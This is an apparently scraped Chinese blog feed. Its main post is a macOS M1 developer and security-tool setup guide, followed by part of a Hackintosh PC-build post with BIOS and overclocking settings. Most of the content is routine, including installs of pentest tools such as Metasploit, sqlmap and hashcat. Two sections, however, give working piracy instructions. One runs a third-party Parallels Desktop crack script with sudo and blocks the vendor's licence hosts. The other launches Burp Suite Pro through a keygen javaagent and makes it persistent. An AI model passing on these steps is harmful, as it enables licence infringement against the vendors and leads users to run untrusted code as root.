同时一些软件是破解版,屏蔽 Hosts 大法也太不优雅了,还是搞个正经的防火墙软件比较靠谱,国光这里主推:Little Snitch

这个破解版不确定多不多,但是正版的序列号貌似可以多人复用,所以价格理论上也不贵的,师傅们可以自己去了解一下。

Git

如果要使用 Github 协作项目的话,那么 GitHub 会根据我们本地的 Git 配置去箱显示对应的 commit 记录的头像:

# 配置邮箱 git config --global user.email "[email protected]"# 配置用户名git config --global user.name "国光"

下图中间两个 commit 记录没有头像的原因就是没有配置上述邮箱的问题造成的:

Vim

macOS 自带的 vim 是没有任何配色的,可以下面是国光常用的配色方案,先在用户目录下新建一个 vim 的配置文件:

vim ~/.vimrc

内容如下:

set nu                " 显示行号colorscheme desert    " 颜色显示方案,其他方案查看:ls /usr/share/vim/vim*/colors syntax on             " 打开语法高亮

Python

简单使用 iPython 还是建议装一下,平时调试会比较方便:

➜ brew install ipython

不过个人还是建议使用 pyenv 来管理 Python。

pyenv 是一个强大 Python 包管理工具,可以灵活地切换各种 Python 版本,Linux 和 macOS 强烈建议使用 pyenv 来管理我们的 Python 版本,优雅高效且不会破坏掉系统自带的 Python 环境:

# 安装 pyenv➜ brew install pyenv

接着为 pyenv 配置 shell 环境,提高工作效率,可自动联想 Tab 补全我们本地安装的 Python 版本:

echo 'eval "$(pyenv init -)"' >> ~/.zshrc

安装 Python 也很简单:

# 查看已经安装的Python版本➜ pyenv versions# 查看当前的 Python 版本➜ pyenv version# 查看可安装的版本➜ pyenv install -l# 安装与卸载 pypy3.8-7.3.11➜ pyenv install pypy3.8-7.3.11➜ pyenv uninstall pypy3.8-7.3.11

版本切换确实很方便,所安装的版本都在 ~/.pyenv/versions 目录下:

# global 全局设置 一般不建议改变全局设置➜ pyenv global <python版本># shell 会话设置 只影响当前的shell会话➜ pyenv shell <python版本># 取消 shell 会话的设置➜ pyenv shell --unset# local 本地设置 只影响所在文件夹➜ pyenv local <python版本>

pyenv 的 global、local、shell 的优先级关系是:shell > local > global

Java

无论是 Oracle JDK 还是近期比较流行的 Azul Zulu JDK,我们都可以先自己安装一遍,默认都在安装在

/Library/Java/JavaVirtualMachines 目录下:

所以我们切换版本时候就不是很优雅,这里推荐使用 jevn 来切换我们的 Java 版本,类似于 pyenv 一样,很优雅:

# 安装 jenvbrew instal jenv

brew 安装后我们得配置一下 zshrc 的环境:

echo 'export PATH="$HOME/.jenv/bin:$PATH"' >> ~/.zshrcecho 'eval "$(jenv init -)"' >> ~/.zshrc

然后新开个标签页即可正常使用 jenv 来管理我们的 Java 环境了,下面是 jenv 的基本使用:

# 查看当前的 Java 版本jenv version# 手动添加本地的 Java Home 路径jenv add /Library/Java/JavaVirtualMachines/jdk-20.jdk/Contents/Home/jenv add /Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/jenv add /Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/jenv add /Library/Java/JavaVirtualMachines/zulu-17.jdk/Contents/Home/# 列出目前 jenv 所有可切换管理的版本jenv versions#global 全局设置 一般不建议改变全局设置➜ jenv global <java 版本># shell 会话设置 只影响当前的shell会话➜ jenv shell <java 版本># 取消 shell 会话的设置➜ jenv shell --unset# local 本地设置 只影响所在文件夹➜ jenv local <java 版本>

下面是简单的 jenv 使用演示效果图,真的很优雅:

Node.js

国光我 Nodejs 用的不多,主要就用来跑跑 Hexo 博客和使用 Gitbook 来写点知识点,又因为 Node.js 版本也比较凌乱,所以这里主要是通过 nvm 来进行配置管理。

# 安装 nvmcurl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.3/install.sh | bash# 新开个终端,输入下面命令,完善 zsh 补全配置export NVM_DIR="$HOME/.nvm"[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"# 查看版本信息zsh➜ nvm --version0.39.3# 查看当前 node 的版本➜ nvm version # 安装最新稳定版 node➜ nvm install stable# 列出所有远程服务器的版本➜ nvm ls-remote# 安装指定版本➜ nvm install v18.16.1➜ nvm install <version># 列出所有已安装的版本➜ nvm ls# 卸载指定的版本➜ nvm uninstall <version># 切换使用指定的版本node➜ nvm use <version># 显示当前的版本➜ nvm current

Homebrew

Homebrew 是 macOS(或 Linux)缺失的软件包的管理器,开发必备神器,安装也比较简单(网络 OK 的情况):

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

安装完成后,如果没有 brew 命令的话,就继续配置 zsh 环境变量(上面安装完会提示 COPY 运行即可):

(echo; echo 'eval "$(/opt/homebrew/bin/brew shellenv)"') >> /Users/security/.zprofile

brew 的基本使用:

# 更新 Homebrew➜ brew update#  搜索相关的包➜ brew search [关键词] # 查看包的信息➜ rew info [软件名] # 查看已安装的包➜ brew list# 更新某个软件➜ brew upgrade [软件名]# 清理所有软件的旧版➜ brew cleanup# 卸载某个软件➜ brew uninstall [软件名]

brew 常用软件推荐:

# 安装 brew-caskbrew install cask# 空格预览 markdownbrew install qlmarkdown# 空格高亮预览代码文件brew install syntax-highlight

Oh My Zsh

Oh My Zsh 这个 zsh 美化增强脚本,来让自己的终端 Shell 颜值更逼格:

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

Zsh 插件推荐:

# 目录切换神器➜ brew install autojump# 自动建议提示接下来可能要输入的命令git clone https://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions# 命令语法检测git clone https://github.com/zsh-users/zsh-syntax-highlighting $ZSH_CUSTOM/plugins/zsh-syntax-highlighting

~/.zshrc 中配置启用这些插件:

plugins=(其他的插件...... autojump zsh-autosuggestions zsh-syntax-highlighting)

其他功能配置:

# 关掉 URL 反斜杠转义echo "DISABLE_MAGIC_FUNCTIONS=true" >> ~/.zshrc# 禁用 on my zsh 自动更新echo " zstyle ':omz:update' mode disabled" >> ~/.zshrc

MySQL

安装 MySQL:

# 搜索可以安装的版本➜ brew search mysql# 安装对应的版本➜ brew install [email protected]# 写入环境变量echo 'export PATH="/opt/homebrew/opt/[email protected]/bin:$PATH"' >> ~/.zshrc# 为了让编译器找到 [email protected] 还需要写入echo 'export LDFLAGS="-L/opt/homebrew/opt/[email protected]/lib"' >> ~/.zshrcecho 'export CPPFLAGS="-I/opt/homebrew/opt/[email protected]/include"' >> ~/.zshrc# 为了让 pkg-config 找到 [email protected] 还需要写入echo 'PKG_CONFIG_PATH="/opt/homebrew/opt/[email protected]/lib/pkgconfig"' >> ~/.zshrc

MySQL 服务相关:

# 查看 M有SQL 服务状态➜ brew services info [email protected]➜ mysql.server status# 启动 MySQL 服务➜ brew services start [email protected]➜ mysql.server start# 重启 MySQL 服务➜ brew services restart [email protected]➜ mysql.server restart# 停止 MySQL 服务➜ brew services stop [email protected]➜ mysql.server stop

接着初始化 MySQL 设置,主要配置一下 root 密码已经是否远程登录登,根据提示来操作就行了:

mysql_secure_installation

数据库外连,这是个可选操作 根据自己的实际情况自行决定是否开启(有被攻击的风险):

mysql > grant all on *.* to root@'%' identified by '你设置的密码' with grant option;mysql > flush privileges;

大家根据实际情况来决定是否开启外连。

Redis

# 安装 redis➜ brew install redis# 查看 redis 服务状态➜ brew services info redis# 启动 redis 服务端➜ brew services start redis# 启动 redis 客户端➜ redis-cli# 编辑默认配置文件sudo vim /opt/homebrew/etc/redis.conf

proxychains-ng

终端命令行下代理神器,可以让指定的命令走设置好的代理,内网渗透、XX 上网必备工具:

# 安装➜ brew install proxychains-ng# 配置文件vim /opt/homebrew/etc/proxychains.conf

将结尾的 socks4 127.0.0.1 9095 改为我们自己的代理端口即可。

下面是常用的几个命令:

# 代理终端基本示例➜ proxychains4 curl https://www.google.com.hk# 全局代理 bash shell➜ proxychains4 -q /bin/bash# 全局代理 zsh shell➜ proxychains4 -q /bin/zsh

如果发现你的 proxychains 并不能代理的话,尝试关掉 SIP 后再试试看。

Gitbook

Gitbook 确实是一个写文档的神器,国光之前是必装的,目前逐步使用 mkdocs 来替代 Gitbook,不过还是要记录一下 Gitbook 的使用,安装还是有坑的:就是使用高版本的 Node.js 安装会出各种玄学问题,换 10.X 的版本即可:

# 安装并切换老版本的 Node.js➜ nvm install v10.24.1➜ nvm use v10.24.1# 安装苹果官方的 rosetta 兼容性工具/usr/sbin/softwareupdate --install-rosetta --agree-to-license# 安装 Gitbook-clinpm install -g gitbook-cli# 验证版本并安装相关依赖➜ gitbook -VCLI version: 2.3.2GitBook version: 3.2.3

MkDocs

MkDoc 是有一个优雅的写文档神器,使用 Python 安装很方便:

# pyenv 切换合适的版本➜ pyenv local 3.9.17# 安装 mkdocs➜ pip install mkdocs# 安装 material 主题➜ pip install mkdocs-material

Hexo

快速简约强大的博客框架:

# 安装 hexo➜ brew install hexo# Hexo 基础命令➜ hexo clean # 清除缓存➜ hexo g     # 生成静态文件➜ hexo s     # 启动 Hexo 服务

虚拟化

Docker Desktop

# 使用 brew cask 可以很快的安装好 Docker 官方客户端➜ brew install --cask docker# 跑个 Kali Linux 看看docker pull docker.io/kalilinux/kali-rolling➜ docker run --name "KaliLinux" --tty --interactive kalilinux/kali-rolling

OrbStack

OrbStack 是一种在 macOS 上运行 Docker 容器和 Linux 机器的快速、轻便且简单的方法。可以将其视为强大的 WSL 和 Docker Desktop 替代方案,全部集成在一个易于使用的应用程序中。

# Homebrew Cask 安装更优雅一点➜ brew install orbstack# docker 切换 OrbStackdocker context use orbstack
  • Docker

  • Linux 子系统

Docker 的一些镜像国内拉取很慢,我们可以配置一下一些国内的加速源:

{    "ipv6": true,  "registry-mirrors": [    "http://hub-mirror.c.163.com",    "https://registry.docker-cn.com",    "https://mirror.baidubce.com",    "https://kn77wnbv.mirror.aliyuncs.com",    "https://y0qd3iq.mirror.aliyuncs.com",    "https://6kx4zyno.mirror.aliyuncs.com",    "https://0dj0t5fb.mirror.aliyuncs.com",    "https://docker.nju.edu.cn",    "https://kuamavit.mirror.aliyuncs.com",    "https://y0qd3iq.mirror.aliyuncs.com",    "https://docker.mirrors.ustc.edu.cn"  ]}

速度果然确快了很多:

Parallels Desktop

Parallels Desktop for mac Crack 18.1.1.53328 破解项目:https://git.icrack.day/somebasj/ParallelsDesktopCrack.git

根据教程下载指定版本的 PD:https://download.parallels.com/desktop/v18/18.1.1-53328/ParallelsDesktop-18.1.1-53328.dmg

正常安装好,先不要登录 PD 账号。接着克隆项目并运行自动化破解脚本:

# 克隆项目地址git clone https://git.icrack.day/somebasj/ParallelsDesktopCrack.git# 进项目文件夹并运行脚本cd ParallelsDesktopCrack && chmod +x ./install.sh && sudo ./install.sh

破解过程还是很顺利的,Parallels Desktop 18 确实 YYDS:

我们需要屏蔽以下的 Hosts:

127.0.0.1 download.parallels.com127.0.0.1 update.parallels.com127.0.0.1 desktop.parallels.com127.0.0.1 download.parallels.com.cdn.cloudflare.net127.0.0.1 update.parallels.com.cdn.cloudflare.net127.0.0.1 desktop.parallels.com.cdn.cloudflare.net127.0.0.1 www.parallels.cn127.0.0.1 www.parallels.com127.0.0.1 www.parallels.de127.0.0.1 www.parallels.es127.0.0.1 www.parallels.fr127.0.0.1 www.parallels.nl127.0.0.1 www.parallels.pt127.0.0.1 www.parallels.ru127.0.0.1 www.parallelskorea.com127.0.0.1 reportus.parallels.com127.0.0.1 parallels.cn127.0.0.1 parallels.com127.0.0.1 parallels.de127.0.0.1 parallels.es127.0.0.1 parallels.fr127.0.0.1 parallels.nl127.0.0.1 parallels.pt127.0.0.1 parallels.ru127.0.0.1 parallelskorea.com127.0.0.1 pax-manager.myparallels.com127.0.0.1 myparallels.com127.0.0.1 my.parallels.com

但是 Parallels Desktop 会很猥琐的去偷偷取消注释我们的 hosts 文件,所以我们一上来就安利的 Little Snitch 就很优雅,很有必要了。

最后发现 M1 下的 PD 虚拟机 120Hz 的 Windows 体验确实很丝滑:

实用工具

  • 命令增强
# tree 命令列文件也很方便➜ brew install tree# 查看系统状态信息➜ brew install neofetch➜ brew install fastfetch
  • 网络相关
# ip 命令 查看ip地址很方便➜ brew install iproute2mac# frps 与 frpc 穿透神器➜ brew install frps # 配置文件 frps -c /opt/homebrew/etc/frp/frps.ini➜ brew install frpc # 配置文件 frpc -c /opt/homebrew/etc/frp/frpc.ini
  • 媒体处理
# 图片压缩使用开源的 imageoptim 很方便➜ brew install imagemagick# you-get 数码下载神器➜ brew install ffmpeg➜ brew install you-get# 复制克隆离线镜像网站➜ brew install httrack

安全工具

主机探测

# 安装  nmap 与自带的 ncat 命令brew install nmap# 安装扫描速度更快的 masscanbrew install masscan# 使用 ARP 协议来发现本地网络上的 IPv4 主机并指纹识别➜ brew install arp-scan➜ arp-scan --localnetInterface: en0, type: EN10MB, MAC: c8:89:f3:b3:24:1d, IPv4: 10.1.1.180Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)10.1.1.100:0c:29:7c:19:2fVMware, Inc.10.1.1.10a0:36:9f:89:ad:30Intel Corporate10.1.1.1100:0c:29:b1:fa:11VMware, Inc.10.1.1.10000:11:32:fa:6e:7cSynology Incorporated10.1.1.218a8:a1:59:9f:57:aaASRock Incorporation10.1.1.128ec:4d:3e:86:cb:2eBeijing Xiaomi Mobile Software Co., Ltd10.1.1.19978:11:dc:7d:d5:9aXIAOMI Electronics,CO.,LTD# go 编写的快速高效的端口扫描工具➜ brew install naabu

子域收集

# 快速被动子域枚举工具➜ brew install subfinder# 新生代子域名检测工具➜ brew install findomain

SQL 注入

# 基本上 sqlmap 足够了brew install sqlmap

目录扫描

# 基本上 dirsearch 足够使用了pip3 install dirsearch

文件分析

# binwalk CTF MISC 神器brew install binwalk# EXIF 元数据信息查看brew install exiftool

移动安全

  1. macOS 安装 adb
# brew 安装➜ brew install --cask android-platform-tools

密码破解

# 密码破解神器➜ brew install hashcat# 经典老牌的 UNIX 密码破解工具➜ brew install john# WiFi 无线安全必备➜ brew install aircrack-ng

Metasploit

下载最新版本的安装包:https://osx.metasploit.com/metasploitframework-latest.pkg

安装很简单,双击 metasploitframework-latest.pkg 安装包,一步步往下安装就可以了,macOS 下手动升级 Metasploit 版本国光这里建议也这样升级,比较方便省心。

macOS 下 Metasploit 的可执行文件的位置为:/opt/metasploit-framework/bin,所以我们需要收到配置一下环境变量:

echo 'export PATH="$PATH:/opt/metasploit-framework/bin/"' >> ~/.zshrc

接着新开个终端即可正常识别到 msf 系列的命令了:

➜  ~ msfconsole ** Welcome to Metasploit Framework Initial Setup **    Please answer a few questions to get started.# 输入 y 确定初始化一个新的数据库Would you like to use and setup a new database (recommended)? y# 认证信息保存在这里,我们了解一下就行Writing client authentication configuration file /Users/security/.msf4/db/pg_hba.conf

Burp Suite

首先官网下载截止目前(2023 年 07 月 09 日)最新的稳定版 2023.06.2:

先正常安装打开的话是提示需要激活的,我们关掉 BP 先不管它。使用之前的 TrojanAZhen/BurpSuitePro-2.1 注册机并不能正常工作了,这是因为从 2022.9 开始提示 BP 官方换了注册机制,所以我们得使用新的注册机才可以。

新版注册机的地址为:h3110w0r1d-y/BurpLoaderKeygen

下载下来,将其放入到 BP Jar 包的同级目录下:

首先先带着注册机运行一下 BP:

cd /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" "--add-opens=java.base/java.lang=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" "-javaagent:BurpLoaderKeygen.jar"  "-jar" "/Applications/Burp Suite Professional.app/Contents/Resources/app/burpsuite_pro.jar"

提示需要激活,先放这儿:

另开一个终端,运行注册机:

/Applications/Burp\ Suite\ Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java -jar /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app/BurpLoaderKeygen.jar

像之前一样,常规走一下注册流程即可:

但是不能每次启动都需要借助这两串命令行吧,这也太不优雅了,所以需要我们编辑 vmoptions.txt 文件,直接将之前的参数追加到 vmoptions.txt 后面:

echo "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/java.lang=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "-javaagent:BurpLoaderKeygen.jar" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "-Xmx2048m" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txt

效果如下:

之后直接在应用程序里面启动 BP 就可以了,和官方正版使用毫无差别,优雅永不过时~

综合扫描

AWVS

使用 Docker 搭建 Acunetix Web Vulnerability Scanner(AWVS)扫描器的很方便的, 我的 M1 Macbook 测试也可以跑 x86 的 Dokcer 容器:

# 拉取 awvs 镜像docker pull secfa/docker-awvs# 将 容器的 3443 端口映射到 13443 端口docker run -d --name "AWVS" -p 13443:3443 --cap-add LINUX_IMMUTABLE secfa/docker-awvs

搭建完成后访问:https://YOUR_IP:13443/ 即可

默认的用户名为:admin@admin.com 密码为:Admin123

Nessus

Tenable Nessus® Essentials 是一款免费漏洞扫描程序,可作为漏洞评估的绝佳切入点。可获得无异于 Nessus Professional 订阅用户所享的强大扫描程序,支持扫描 16 个 IP 也足够我们个人使用了。

简而言之就是 Essentials 是 适用于教育工作者、学生以及网络安全领域的入门从业人员,功能和 Nessus Professional 没区别,只是批量扫描的 IP 变少了。

首先我们得使用企业域名注册获取激活码,注册地址:https://zh-cn.tenable.com/products/nessus/nessus-essentials

小 Tips:国内的 qq 和 163、gmail 这类大众域名多半是不行的,我这里使用的是 com 域名绑定的 QQ 邮箱注册的,这样很容易获取到激活码。

有激活码的话,Docker 搭建 Nessus 就简单很多了。

拉取镜像创建docker pull tenableofficial/nessus创建容器映射到宿主机的 8834 端口docker run -d --name "Nessus"  -p 18834:8834 -e ACTIVATION_CODE=<你的激活码> -e USERNAME=<自定义用户名> -e  PASSWORD=<自定义密码>  tenableofficial/nessus

搭建完成后访问:https://YOUR_IP:18834/ 即可:

访问出现没有出现 Nessus 界面?(移动网络可能会初始化识别,建议电信或者企业专线网络,或者挂代理或者软路由)

docker exec -it Nessus bashcd /opt/scripts./configure_scanner.py # 重新初始化操作

搭建好看了,看了可以看到我们的免费激活码支持做多 16 台设备,且插件都可以保持更新到最新版本,且激活码有效期有好几年呢,足够我们日常使用了:

OSV-Scanner

Google 新开源的漏洞扫描器,主要使用了 OSV-Scanner 来查找项目依赖漏洞。

漏洞来源全球各大漏洞库:

支持扫描自以下项目的漏洞:AlmaLinux、Alpine、Android、crates.io、Debian GNU/Linux、GitHub Actions、Go、Hex、Linux kernel、Maven、npm、NuGet、OSS-Fuzz、Packagist、Pub、PyPI、Rocky Linux、RubyGems……

使用细节大家可以参考官方文档:https://google.github.io/osv-scanner/usage/

国光这里只做简单的的使用:

osv-scanner -r /path/to/your/dir

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>历史上国光就有记录 macOS 配置的习惯,之前也写过两篇文章,但是都有点过时了,macOS Ventura 13 变化挺大,正巧最近又入手了 MacBook Pro 14 寸 M1 Pro 的 ARM 芯片的 Mac,所以就单独写了本篇文章记录一下,也顺便给其他网友做个配置参考,让大家少走一点配置环境的弯路。</p>
国光 2023 年中全能生产力(游戏)的黑苹果装机方案 https://www.sqlsec.com/2023/06/2023pc.html 2023-06-06T06:41:15.000Z 2024-05-23T00:05:22.000Z

上一次写这种文章还是在两年前,如今物是人非事事休,欲语泪先流。之前陪伴我比较久的 i7-10700 台式机早已出掉回血换了个锻炼身体骑行的 IMPALA X CAMP 公路车,每天上下班骑行 40多 km 确实很健康,但是夏天到了我的 Intel Macbook Pro 16 也越来越热没法干活了~ 不行,还是得整一个性能强悍的台式机才行!顺便满足一点点游戏需求……

写在前面

之前的 i7-10700 台式机卖了:

换了辆 CAMP IMPALA X 105版公路车,每天确实充实了很多,上下班来回骑行 40多 KM,如今身体素质明显强于之前,睡觉也更香了,总的来说还是很值的:

行情分析

2023 年还是比较适合装机的,主要有如下几个原因:

  1. 矿潮已经过去,当年天价的 AMD 显卡如今价格都下降了很多
  2. RTX 40 系显发布,老的 RTX 20、30 系列均有所下降
  3. 国产长江存储的崛起,导致 SSD 价格也下降很多,机械硬盘也受影响下降
  4. Intel 12 代起不再是挤牙膏了,如今 13 代出来,大小核架构生态也逐渐完善了

但是对黑苹果来说依然前途一片迷茫,主要有如下几个原因:

  1. 苹果的 Apple Silicon Chip 的 ARM 系列 CPU 产品线越来越齐全
  2. 如今连 Mac Pro 这种真正干活的家伙都搭配了 M2 Ultra CPU
  3. 新款 Mac Pro 虽然配备了 7 个 PCI-E 扩展插槽,但都不支持 AMD Radeon Pro 等显卡了
  4. macOS 14 Sonoma 驱动逐渐阉割,甚至之前免驱的博通网卡驱动都被砍了,只能单独驱动蓝牙(后续不知能否解决)

配置概览

话不多说,我们直接来看下本次装机的配置清单吧,包括三个显示器的价格总价是 ¥9990

配置型号参考价格(元)
CPUi5-13600K 盒装¥1948
主板华擎 AsRock Z690 Steel Legend 钢铁传奇 WiFi 6E¥950
内存金百达 黑爵 DDR4 3600Mhz 16GB * 2 条¥300
显卡RTX 2080Ti 11GB + RX 570 8GB + Intel UHD 770¥2139
SSD爱国者 P7000Z PCie4.0 2TB¥489
电源海盗船 RX850X 额定 850W¥350
散热利民冰封幻境 240 水冷¥170
机箱爱国者 T16 ATX大机箱¥119
网卡BCM94360CD 四天线版本¥150
显示器1不知名品牌但是面板不错的杂牌 28寸 4k 152Hz 显示器¥1999
显示器2不知名品牌但是面板不错的杂牌 27寸 4k 60Hz 显示器¥780
显示器3LG 16寸 4K 3840x2400 16比10 便携显示器¥599

整体来说还是一个性价比较高而且比较能打,真正可以干活当做生产力的配置。

说到性价比肯定会有人反问:就这配置还性价比?你让 i5-12400 情何以堪?

我:emmmm,确实,要是真正追求性价比的话,其实 12 代 i3 + H610 主板然后再搞个 RX580 矿卡的话,整体预算确实可以下降很多,而且也可以比较完美的黑苹果。但是这样整机的上限就很低了,扩展性和性能都没法这个 13600K + Z690 的搭配相比。

配置分析

当然性价比只是相对的,就看和什么配置去比较了,下面是国光我认为这套配置性价比,比较高的地方:

CPU

  • 选择了 13600K,13 代超频潜力都不算差
  • 后面测试超频测试和 i9-12900K 多核跑分五五开,单核已经完超 i9-12900K了
  • 当然 CPU-Z 里面的 i9-12900K 可能是默频的跑分,有点不公平,但是还可以看出 13600K 强大的实力的

主板

  • 主板没有选择御三家:华硕、微星、技嘉,这样价格就便宜了不少
  • 华擎主板用料还算扎实,同样或者更低的价格可以媲美甚至超过御三家的同定位的主板
  • 另外华擎主板的黑苹果兼容性一直都很不错,黑起来可以少走很多弯路

内存

  • 选择了金百达 DDR4,没有上 DDR5 的原因还是因为预算不够呀
  • 虽然金百达这个牌子看上去有点杂牌,但好歹是个海力士 CJR 颗粒,超频潜力还是有点的,但不多
  • 最后超频数据位 DDR4 4000MHz 1.38V C18-21-21-42 延迟 57.7NS 也还是很不错了

显卡

  • RTX 2080Ti 11GB 性能很能打,还有超频潜力,性能差不多和 RTX 3070 五五开了
  • 另外 RTX 2080Ti 11GB 的显存搞 AI 画图也很有潜力,属于画图卡里面性价比数一数二的了
  • RX 570 7GB 对于我这种非专业剪辑玩家,性能都有点过剩了,矿卡价格还便宜,只要不坏就是赚到
  • 最主要的是 RX 500 系列黑苹果兼容性都很棒,驱动也很省心,4K 显示器 macOS 下最高可以 120Hz

其他

  • 爱国者 P7000Z 是 PCie4.0 国产硬盘中的佼佼者了,国光我之前也做过:性价比硬盘对比
  • 俗话说得好,再丐不能丐电源,差的电源可能会炸了烧坏主板,但是为了追求性价比,国光我还是走闲鱼买了二手高端电源
  • 因为考虑到超频需求,风冷基本上很难压住的,直接闲鱼买了 99 新的 240 水冷,这个价钱甚至比风冷还便宜
  • 机箱直接上了个非常中规中矩的爱国者 T16,虽然丑了一点,但是用料还算不错哦,空间也够大,扩展性不错
  • 显示器这块虽然上了 3个 4k,但是和大品牌相比我的价格便宜很多了,而且性能面板也不差,多屏对生产力真的很重要

BIOS 设置

黑果安装

只黑苹果的话「华擎 AsRock Z690 Steel Legend 钢铁传奇」主板 BISO 主要调整如下:

  • 「高级」-「CPU 配置」-「Intel Hyper Threading Technology」-「开启」
  • 「高级」-「CPU 配置」-「CFG Lock」-「关闭」
  • 「高级」-「CPU 配置」-「Software Guard Extensions(SGX)」-「关闭」
  • 「高级」-「芯片组配置」-「Above 4G Decoding」-「启用」
  • 「高级」-「芯片组配置」-「VT-d」-「禁用」
  • 「高级」-「芯片组配置」-「共享内存」-「64MB」
  • 「高级」-「芯片组配置」-「IGPUA 多监视器」-「启用」
  • 「高级」-「芯片组配置」-「深度睡眠」-「在 S4-S5 中启用」
  • 「高级」-「存储 配置」-「SATA 模式选择」-「AHCI」
  • 「高级」-「Intel(R) Thunderbolt」-「Discrete Thunderbolt(TM) Support」-「关闭」
  • 「高级」-「ACPI 配置」-「挂起到内存」-「自动」
  • 「高级」-「ACPI 配置」-「USB 键盘/远程开机」-「Disabled」
  • 「高级」-「ACPI 配置」-「USB 鼠标开机」-「Disabled」
  • 「高级」-「USB 配置」-「XHCI Hand-off」-「Enabled」
  • 「安全」-「Secure Boot」-「安全引导」-「关闭」
  • 「安全」-「Intel(R) Platform Trust Technology」-「禁用」
  • 「引导」-「闪速启动」-「关闭」
  • 「引导」-「CSM」-「关闭」

最终 Windows 下的测试成绩:

单核已经超过了 i9-12900K,多核也是五五开的水平:

超频调教

如果超频 CPU 的话,根据我的 CPU 体制,主要 BIOS 调整如下(风扇全部调整为性能模式):

  • 「超频工具」-「CPU Core Compensation」-「级别1」
  • 「超频工具」-「CPU Cooler Type」-「240-280mm 水冷」
  • 「超频工具」-「Base Frequency Boost」-「265W」
  • 「超频工具」-「CPU 配置」
    • CPU P - Core 「每个内核」:58-56-54-54-54-54
      • 指的是大核心单核超频 5.8Ghz,2 核工作的频率为 5.6Ghz,其余核同时工作的频率为 5.4Ghz
    • CPU E - Core 「所有内核」:45
      • 指的所有小核心都以 4.5Ghz 工作
    • 「Boot Performance Mode」-「Turbo Performance」
    • 「长时间功耗限制」-「300.00」
    • 「长时间维持」-「224s」
    • 「长时间维持」-「300.00」
  • 「超频工具」-「电压配置」
    • 「Voltage Mode」-「OC Mode」
    • 「CPU Core/Cache Voltage」-「固定模式」
    • 「固定电压」-「1.355v」
    • 「CPU 防掉压设定」-「级别 1」
    • 「CPU GT 防掉压设定」-「级别 3」
    • 「IA AC Loadline」-「0.01」
    • 「IA DC Loadline」-「0.01」

如果超频内存的话,根据我的金百达黑爵 16GB x 2 3600Mhz 18-22-22-44 1.35V 内存体制,这里不再啰嗦内存超频细节了,反正也比较简单就是设置好时序,频率以及内存电压即可,最终我的内存成绩为:

DDR4 4000MHz 1.38V C18-21-21-42 延迟 57.7NS

性能测试

默频成绩直接不展示了,下面直接放一些国光我日常超频的测试数据。

Windows 性能测试

使用最新的 Windows 11 进行测试,没办法不想用 Windows 11 的,但谁叫 Windows 10 对大小核调度不友好呢!

整机跑分

话不多说,先跑个娱乐大师吧,整机跑分 214 万分:

感觉 CPU 电压加一下,再小超一下 CPU 跑个 100 万分应该是没啥问题的,另外图上的内存忘记超了,稍微拖了点后腿。

CPU 测试

使用 Geekbench6 进行测试,单核:2982 多核:14973

macOS 性能测试

CPU 测试

